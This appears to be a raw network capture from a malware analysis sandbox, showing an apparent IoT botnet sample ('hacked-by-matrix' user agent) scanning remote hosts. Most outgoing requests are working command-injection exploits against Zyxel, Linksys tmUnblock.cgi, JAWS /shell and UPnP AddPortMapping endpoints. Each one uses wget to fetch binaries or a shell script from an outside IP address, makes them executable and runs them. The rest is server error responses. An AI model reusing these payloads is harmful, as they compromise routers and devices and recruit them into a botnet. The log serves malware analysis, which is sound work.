Mar 21, 2024 05:18:31.667825937 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:31.995193958 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:18:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c56f04-156" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 7b 9e c2 58 a2 74 9c 13 5d 7e ae 01 6a 28 68 a8 90 63 6f ce 96 6c af 65 6f c8 85 a7 07 27 5c 45 b5 df ac 76 67 a4 19 ee 9f 5f 9f de 3f de 5e 98 a5 e0 cf 77 c3 31 18 1b dc 9c 55 00 56 b2 1e b9 25 4a a5 93 52 7b 5c cc aa b6 22 0a 29 72 5a 68 8c 04 91 9a f2 d8 2c 45 80 2a 24 4e 8d 0a ea 1b a3 5a 4b a3 31 48 c8 19 f3 67 52 17 90 41 b9 7a ae a2 06 61 b0 2a 11 54 4a 2e 5e 9a 1a cb d9 1e 39 61 36 90 47 de 72 56 68 f3 30 72 fc 82 3c 7b 5c 3b eb 8c 81 d8 df b4 b8 fe db 6c b7 8d 05 77 b1 d4 9d da f6 a1 5f 9d 21 7b 60 c2 e2 c8 61 ec d4 54 d0 2f 04 3d 61 ea da 74 ed 3d cc b4 43 de 1f 2b 4d 48 84 a1 22 67 87 df c8 ab 0b 67 bb e3 9f 38 0f f2 e8 ea b7 3d b9 d7 c7 7e 00 d9 11 de 34 56 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{Xt]~j(hcoleo'\Evg_?^w1UV%JR{\")rZh,E$NZK1HgRAzaTJ.^9a6GrVh0r<{\;lw_!{`aT/=at=C+MH"gg8=~4V0
Mar 21, 2024 05:18:31.995248079 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:31 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.13	58484	172.67.14.180	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:27.988867044 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:28.264113903 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.13	47958	181.224.41.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.173845053 CET	806	IN	HTTP/1.1 400 Bad Request Server: Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self'; referrer 'origin-when-cross-origin'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Pragma: no-cache Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.13	60412	54.183.71.224	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.188600063 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.351711988 CET	499	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 30 2e 35 32 2e 31 30 32 2e 32 30 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at 10.52.102.201 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.13	48412	91.145.55.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.216175079 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.405868053 CET	140	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.13	59384	77.247.114.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.225647926 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:28.433149099 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 03:59:44 GMT Content-Type: text/html Content-Length: 3885 X-Squid-Error: ERR_INVALID_REQ 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff
Mar 21, 2024 05:18:28.433197021 CET	1286	IN	Data Raw: 3b 0a 7d 0a 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 74 65 78 74 20 2a 2f 0a 70 20 7b 0a 7d 0a 0a 2f 2a 20 65 72 72 6f 72 20 62 72 69 65 66 20 64 65 73 63 72 69 70 74 69 6f 6e 20 2a 2f 0a 23 65 72 72 6f 72 20 70 20 7b 0a 7d 0a 0a 2f 2a 20 73 6f 6d 65 Data Ascii: ;}/* General text /p {}/ error brief description /#error p {}/ some data which may have caused the problem /#data {}/ the error message received from the system or other software */#sysmsg {}pre { font-family:sans-
Mar 21, 2024 05:18:28.433250904 CET	1286	IN	Data Raw: 6b 65 64 2d 62 79 2d 6d 61 74 72 69 78 0d 0a 48 6f 73 74 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 38 30 0d 0a 41 63 63 65 70 74 3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 70 70 6c 69 63 61 Data Ascii: ked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-alive</pre> </blockquote> <p>Some possible problems are:</p> <ul> <li id="missing-method"><p>Missing o
Mar 21, 2024 05:18:28.433264971 CET	281	IN	Data Raw: 69 66 20 28 27 5b 75 6e 6b 6e 6f 77 6e 20 70 72 6f 74 6f 63 6f 6c 5d 27 20 21 3d 20 27 5b 75 6e 6b 6e 6f 77 6e 20 70 72 6f 74 6f 63 6f 6c 5d 27 29 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6d 69 73 73 69 6e 67 Data Ascii: if ('[unknown protocol]' != '[unknown protocol]') document.getElementById('missing-protocol').style.display = 'none'; </script> <hr> <div id="footer"> <p>Generated Thu, 21 Mar 2024 03:59:44 GMT by host (squid/3.1.23)</p> ... ERR_INVALID_REQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.13	46694	5.212.35.214	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:28.300667048 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:29.139797926 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:30.805274010 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 